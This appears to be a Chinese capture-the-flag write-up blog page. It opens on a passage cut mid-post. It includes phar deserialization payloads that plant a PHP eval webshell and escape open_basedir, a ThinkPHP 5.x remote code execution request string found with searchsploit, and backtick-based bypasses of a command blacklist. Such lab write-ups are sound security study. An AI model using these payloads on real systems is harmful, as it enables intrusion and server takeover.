    $a = new dir();
    $a->userdir="/upload/e0ee64a13ff7a0b04333c1d51fbbeadf";
    $o = new dir();
    $o->userdir=$a;
    $o->filename="/var/www/html/887a185b1a408019/upload/e0ee64a13ff7a0b04333c1d51fbbeadf/webshell"; //最后会生成webshell.txt
    $phar->setMetadata($o); //将要反序列化的对象存入meta-data
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    $phar->stopBuffering();
    ?>

    与前面操作相同

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    url = '''data://image/gif;base64,R0lGODlhIF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KLQEAAAEAAAARAAAAAQAAAAAA9wAAAE86Mzoi
    ZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6NDA6Ii91
    cGxvYWQvZTBlZTY0YTEzZmY3YTBiMDQzMzNjMWQ1MWZiYmVhZGYiO3M6MzoidXJsIjtOO3M6ODoi
    ZmlsZW5hbWUiO047fXM6MzoidXJsIjtOO3M6ODoiZmlsZW5hbWUiO3M6Nzk6Ii92YXIvd3d3L2h0
    bWwvODg3YTE4NWIxYTQwODAxOS91cGxvYWQvZTBlZTY0YTEzZmY3YTBiMDQzMzNjMWQ1MWZiYmVh
    ZGYvd2Vic2hlbGwiO30IAAAAdGVzdC50eHQEAAAATurUZAQAAAAMfn/YpAEAAAAAAAB0ZXN0Nw1j
    IHqtIaW4cyxLqtXaivqqZtUhOAJTZ2M8GgeF7DoDAAAAR0JNQg=='''

    getinfo(purl, "phar2.gif", 'upload')
    getinfo('phar://upload/e0ee64a13ff7a0b04333c1d51fbbeadf/phar2.gif', '2', 'upload')

    得到 your file in : upload/e0ee64a13ff7a0b04333c1d51fbbeadfyour file in : . .. .htaccess 1 2 <?php @eval($_POST['cmd']);?>.txt ... ,说明上传成功

    再访问887a185b1a408019/upload/e0ee64a13ff7a0b04333c1d51fbbeadf/webshell.txt,连接蚁剑获得flag

    直接post命令的话要进行还要绕过目录穿越限制

    1
    cmd=ini_set('open_basedir', '..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir', '/');var_dump(scandir('/'));

法二:

  • 直接在userdir处传木马

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    <?php
    class dir{
    public $userdir;
    public $url;
    public $filename;
    }
    $a=new dir();
    $a->filename='/var/www/html/887a185b1a408019/upload/e0ee64a13ff7a0b04333c1d51fbbeadf/webshell';
    $a->userdir='<?php eval($_POST["cmd"]);?>';
    $phar=new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub('GIF89a'."__HALT_COMPILER();");
    $phar->setMetadata($a);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
  • < 会被过滤

    phar协议能够解压zip,gzip等压缩包,因此gzip压缩一下,gzip phar.phar,然后同样两步上传,触发序列化

    访问887a185b1a408019/upload/e0ee64a13ff7a0b04333c1d51fbbeadf/webshell.txt

Read More
post @ 2023-07-27

题目链接

分析

页面打开为空

访问robots.txt

1
2
3
User-agent: *
Disallow:
- /NSS/index.php/

访问/NSS/index.php/ ,页面显示

1
2
3
4
5
6
7
:)

ThinkPHP V5
十年磨一剑 - 为API开发设计的高性能框架
[ V5.0 版本由 七牛云 独家赞助发布 ]

好熟悉的界面 似曾相识啊

可见系统使用ThinkPHP v5.0

查询已知漏洞及攻击方式

1
2
3
4
5
6
7
8
9
10
$ searchsploit thinkphp

-------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------- ---------------------------------
ThinkPHP - Multiple PHP Injection RCEs (Metasploit) | linux/remote/48333.rb
ThinkPHP 2.0 - 'index.php' Cross-Site Scripting | php/webapps/33933.txt
ThinkPHP 5.0.23/5.1.31 - Remote Code Execution | php/webapps/45978.txt # 选择这个
ThinkPHP 5.X - Remote Command Execution | php/webapps/46150.txt
-------------------------------------------------------------- ---------------------------------
1
2
3
4
5
6
7
8
$ searchsploit -p 45978.txt		# -p 上面Path中的文件名

Exploit: ThinkPHP 5.0.23/5.1.31 - Remote Code Execution
URL: https://www.exploit-db.com/exploits/45978
Path: /usr/share/exploitdb/exploits/php/webapps/45978.txt
Codes: N/A
Verified: False
File Type: ASCII text
1
2
3
4
5
6
7
8
9
10
11
12
$ cat /usr/share/exploitdb/exploits/php/webapps/45978.txt

# Exploit Title: ThinkPHP 5.x < v5.0.23,v5.1.31 Remote Code Execution
# Date: 2018-12-11
# Exploit Author: VulnSpy
# Vendor Homepage: https://thinkphp.cn
# Software Link: https://github.com/top-think/framework/
# Version: v5.x below v5.0.23,v5.1.31
# CVE: N/A

# Exploit
http://server/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();' # 明显第二个参数即为执行的命令

攻击

1
2
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat $(find / -name flag)
Read More
post @ 2023-07-26

题目链接

页面内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
居然都不输入参数,可恶!!!!!!!!!

<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
eval($code);
}
else{
die("你想干什么?????????");
}
}
else{
echo "居然都不输入参数,可恶!!!!!!!!!";
show_source(__FILE__);
}


绕过检测即可执行命令

printfvar_dump没有被过滤 其他命令可以用\或中间插入''绕过

1
2
?code=printf(`l\s`);
?code=printf(`l\s;c''at /fffffffffflagafag`)
Read More
⬆︎TOP